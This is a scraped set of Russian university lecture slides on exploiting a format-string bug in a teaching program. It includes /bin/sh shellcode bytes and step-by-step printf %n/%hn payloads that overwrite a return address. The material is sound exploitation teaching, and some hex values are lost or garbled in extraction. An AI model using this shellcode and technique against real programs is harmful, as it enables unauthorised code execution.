Скачиваний:
11
Добавлен:
27.03.2022
Размер:
414.93 Кб
Скачать

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Алгоритм создания эксплойта

1Получить указатель строки (переменной окружения SHELLCODE), содержащей шеллкод

2Найти позицию ячейки в стеке, содержащей адрес возврата из функции foo

3Переписать адрес возврата указателем на строку, содержащую шеллкод

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

20/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Адрес переменной окружения (п. 1)

Экспорт переменной окружения

export SHELLCODE=$(echo -e "\x31\xc0\x50\x68"\ "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"\ "\x89\xc1\x89\xc2\xb0\x0b\xcd\x80")

Адрес переменной окружения в vuln_fmt

./pea SHELLCODE

addr SHELLCODE: 0xffffda2d SHELLCODE=...Phn/shh//bi...

python -c 'print "{:02x}".format(0xffffda2d - \ (len("./vuln_fmt") - len("./pea")) * 2) 'da23 - адрес строки, содержащей шеллкод

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

21/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Адрес возврата из функции foo (п. 2)

Смещение локальной переменной l относительно регистра ebp

objdump -d -M intel vuln_fmt | grep -A 5 '<foo>:' 08048e3c <foo>:

8048e3c:

55

 

 

 

push ebp

8048e3d:

89

e5

 

 

mov

ebp,esp

8048e3f:

83

ec 78

 

sub

esp,0x78

8048e42: c7 45

f4

01 00 00 00

mov

DWORD PTR [ebp-0xc],0x1

8048e49:

8b

45

f4

 

mov

eax,DWORD PTR [ebp-0xc]

0xc=12 áàéò

Адрес (позиция ячейки в стеке) переменной l

./vuln_fmt aaa

* &l: FFFFD69C, l: 1 ^ &l: FFFFD69C, l: 1 buf: aaa

Позиция ячейки в стеке, содержащей адрес возврата:

0xffffd69c + 0xc + 0x4 = 0xffffd6ac

адрес

ñìå-

4 байта

переменной l

щение

ÓÊÑ

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

22/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Эксплойт форматной строки (п. 3)

./vuln_fmt \

$(echo -e "\xac\xd6\xff\xff")\

%.$(python -c 'print 0xffffda23 - 4')x%4\$n

* &l: FFFFD68C, l: 1 ^ &l: FFFFD68C, l: 1 buf: ????

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

23/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Эксплойт форматной строки (п. 3)

./vuln_fmt \

$(echo -e "\xac\xd6\xff\xff")\

%.$(python -c 'print 0xffffda23 - 4')x%4\$n

* &l: FFFFD68C, l: 1 ^ &l: FFFFD68C, l: 1 buf: ????

Не работает, т.к. 4294957599 - слишком большое число (кроме того, адрес переменной l изменился)

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

23/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Разбиение форматной строки (п. 3)

Запишем 0x da23 (адрес переменной окружения) в ячейку под номером 0x d6ac:

выбираем наименьшее число min(0xda23, 0x ) = 0xda23 сначала сохраняем 0xda23 по адресу 0x d6ac

затем сохраняем 0x по адресу 0x d6ac + 2 = 0x d6ae

./vuln_fmt \ `python -c 'print \

"\xac\xd6\xff\xff\xae\xd6\xff\xff"'`\ %.55835x%4\$hn%.9692x%5\$hn

* &l: FFFFD67C, l: 1 ^ &l: FFFFD67C, l: 1 buf: ????????000...

здесь 55835 = 0xda23 - 8 9692 = 0x - 0xda23

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

24/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Разбиение форматной строки (п. 3)

Запишем 0x da23 (адрес переменной окружения) в ячейку под номером 0x d6ac:

выбираем наименьшее число min(0xda23, 0x ) = 0xda23 сначала сохраняем 0xda23 по адресу 0x d6ac

затем сохраняем 0x по адресу 0x d6ac + 2 = 0x d6ae

./vuln_fmt \ `python -c 'print \

"\xac\xd6\xff\xff\xae\xd6\xff\xff"'`\ %.55835x%4\$hn%.9692x%5\$hn

* &l: FFFFD67C, l: 1 ^ &l: FFFFD67C, l: 1 buf: ????????000...

здесь 55835 = 0xda23 - 8 9692 = 0x - 0xda23

Не работает, т.к. адрес переменной изменился (уменьшился на 32 байта). Корректируем (уменьшаем на 32) позицию ячейки в

стеке, содержащей адрес возврата: 0x d6ac !0x d68c.

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

24/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Эксплойт форматной строки

Запишем 0x da23 (адрес переменной окружения) в ячейку под номером 0x d68c:

выбираем наименьшее число min(0xda23, 0x ) = 0xda23 сначала сохраняем 0xda23 по адресу 0x d6ac

затем сохраняем 0x по адресу 0x d6ac + 2 = 0x d6ae

./vuln_fmt \ `python -c 'print \

"\x8c\xd6\xff\xff\x8e\xd6\xff\xff"'`\ %.55835x%4\$hn%.9692x%5\$hn

* &l: FFFFD67C, l: 1 ^ &l: FFFFD67C, l: 1 buf: ????????000...

$ uname -r 3.16.0-10-amd64

здесь 55835 = 0xda23 - 8 9692 = 0x - 0xda23

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

25/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Эксплойт форматной строки

Запишем 0x da23 (адрес переменной окружения) в ячейку под номером 0x d68c:

выбираем наименьшее число min(0xda23, 0x ) = 0xda23 сначала сохраняем 0xda23 по адресу 0x d6ac

затем сохраняем 0x по адресу 0x d6ac + 2 = 0x d6ae

./vuln_fmt \ `python -c 'print \

"\x8c\xd6\xff\xff\x8e\xd6\xff\xff"'`\ %.55835x%4\$hn%.9692x%5\$hn

* &l: FFFFD67C, l: 1 ^ &l: FFFFD67C, l: 1 buf: ????????000...

$ uname -r 3.16.0-10-amd64

здесь 55835 = 0xda23 - 8 9692 = 0x - 0xda23 Работает.

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

25/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Упражнения

1Реализовать эксплойт вызова интерпретатора (к примеру, /usr/bin/python или /usr/bin/perl) через переполнение буфера в .bss и куче с

использованием переменной окружения

2Реализовать эксплойт зависания программы (бесконечный цикл при попытке вызова функции prt) через переполнение буфера в .bss и куче с использованием переменной окружения

3Реализовать эксплойт досрочного выхода из программы (вызов exit при попытке вызова функции prt) через переполнение буфера в .bss и куче с использованием переменной окружения

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

26/26

Соседние файлы в предмете Эксплуатация уязвимостей программного обеспечения